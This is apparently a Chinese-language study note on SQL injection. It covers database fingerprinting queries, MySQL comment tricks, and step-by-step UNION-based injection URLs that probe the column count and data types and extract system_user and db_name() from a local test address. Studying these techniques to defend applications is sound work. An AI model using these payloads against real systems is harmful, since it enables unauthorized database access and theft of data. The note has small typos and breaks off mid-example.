SQL Injection Study

SQL注入攻击学习笔记


  • [非盲跟踪] 在返回各种数据库服务器时对应的查询

    Microsoft SQL Server        SELECT @@version
        MySQL                   SELECT version() / SELECT @@version
        Oracle                  SELECT banner FROM v$version / SELECT banner FROM v$version WHERE rownum=1
        PostgreSQL              SELECT version()
    
  • [盲跟踪]从字符串推断数据库服务版本

    Microsoft SQL Server        SELECT 'some'+'string'
        MySQL                   SELECT 'some' 'string' / SELECT CONCAT('some','string')
        Oracle                  SELECT 'some'||'string' / SELECT CONCAT('some','string')
        PostgreSQL              SELECT 'some'||'string' / SELECT CONCAT('some','string')
    
  • [盲跟踪]从数字函数推断数据库服务器版本

        数据库服务器                查询
    Microsoft SQL Server        @@pack_recevived / @@rowcount
        MySQL                   connection_id() / last_insert_id() / row_count()
        Oracle                  BITAND(1,1)
        PostgreSQL              SELECT EXTRACT(DOW FROM NOW())
    
  • 关于MySQL的注释

    • 在尾行加一个#
    • 在尾行加一个 “– “ 序列,注意第二个连接字符后面有个空格!!!
    • 在一个 “/“ 序列后再跟一个”/“ 序列,两者之间的就是注释。
    • 关于第三条的追加说明: 如果在注释开头添加一个感叹号,并在后面跟上数据库版本编号,那么改代码将被解析成代码.
      只要安装的数据库版本高于或等于注释中包含的数据库版本,代码就会执行.例如
      SELECT 1 /*!40119 + 1*/
      返回的两个结果情况:
          - 2(如果MySQL的版本为4.01.19 或更高版本)
          - 1(其他情况)
      
  • 使用UNION语句提取数据

    • 用以拼接多个查询语句:
      SELECT column-1,column-2,... FROM tabele-1 
      UNION 
      SELECT column-1,column-2,... FROM table-2
      
    • 默认情况下,结果中只包含不同的值.如果想返回所有的数据,可以用UNION ALL
      SELECT column-1,column-2,... FROM table-1
      UNION ALL
      SELECT column-1,column-2,... FROM table-2
      
  • 匹配列

    • 在使用UNION查询数据的时候,必须满足 两个查询语句返回的列数是相同的(至少兼容),如果不满足的话,查询遍会返回一个错误
    • 查询正确列数的方法1:
      说明: 这里的NULL值会被转换成任何类型的数据
      http://127.0.0.1/products.asp?id=666+union+select+null-- 
      http://127.0.0.1/products.asp?id=666+union+select+null,null-- 
      http://127.0.0.1/products.asp?id=666+union+select+null,null,null--
      直到不返回错误为止
      
    • 查询正确列数的方法2:
      使用ORDER BY 子句查询
      +----------+----------+
      | username | password |
      +----------+----------+
      | admin    | admin    |
      | LOid     | 123456   |
      +----------+----------+
      关于ORDER BY 的简单说明:
          select * from table-1 order by 1
              等价于
          select * from table-2 order by username
          以 username 的数据为正序返回所有数据
      用ORDER BY 来查询列数
          http://127.0.0.1/products.asp?id=666+order+by+1
          http://127.0.0.1/products.asp?id=666+order+by+2
          http://127.0.0.1/products.asp?id=666+order+by+3
          如果第6个接受到了错误,就以为着查询中包含5个列
      
  • 匹配数据类型

    • 假设原始查询包含4列

      http://127.0.0.1/products.asp?id=12+union+select+'test',NULL,NULL,NULL
      http://127.0.0.1/products.asp?id=12+union+select+NULL,'test',NULL,NULL
      http://127.0.0.1/products.asp?id=12+union+select+NULL,NULL,'test',NULL
      http://127.0.0.1/products.asp?id=12+union+select+NULL,NULL,NULL,'test'
      如果'test'所在的位置没有返回异常,则代表该列的数据储存类型为字符型,就可以用来显示需要的值
      注: NULL与所有类型兼容,但是如Oracle8 没有NULL,此时只有用暴力猜解的方式来了.
      
    • 如果其中多列能储存字符串,则有如下做法:

      http://127.0.0.1/products.asp?id=12+union+select+NULL,system_user,db_name(),NULL
      
    • 但是如果只有一列能储存字符串,若想返回多个数据

      http://127.0.0.1/products.asp?id=12+union+select+NULL,system_user+'|'+db_name(),NULL,NULL
      (参照字符串链接字符)
      
    • 不同数据库中,将任意数据转化为字符串的语法(强制类型转换运算符)

      数据库服务器                    查询
      Microsoft SQL Server        SELECT CAST('123' AS varchar)
      MySQL                       SELECT CAST('123' AS char)
      Oracle                      SELECT CAST(1 AS varchar) FROM dual
      PostgreSQL                  SELECT CAST(123 AS text)
      
    • 如果Web应用对结果解析只显示第一行数据
      如: http://127.0.0.1/products.asp?id=12+union+select+NULL,system_user,NULL,NULL
      
      数据库将执行
      SELECT id,type,description,price FROM products WHERE id=12 UNION SELECT NULL,system_user,NULL,NULL
      
      此时可以在注入UNION查询之前,添加一个使WHERE子句永远为假的条件,如:
      http://127.0.0.1/products.asp?id=12+and+1=0+UNION+SELECT+NULL,system_user,NULL,NULL,NULL
      
      数据库服务器将执行(执行时,子句失效,此时只能返回后面的查询数据)
      SELECT id,type,description,price FROM products WHERE id=12 and 1=0 UNION SELECT NULL,system_user,NULL,NULL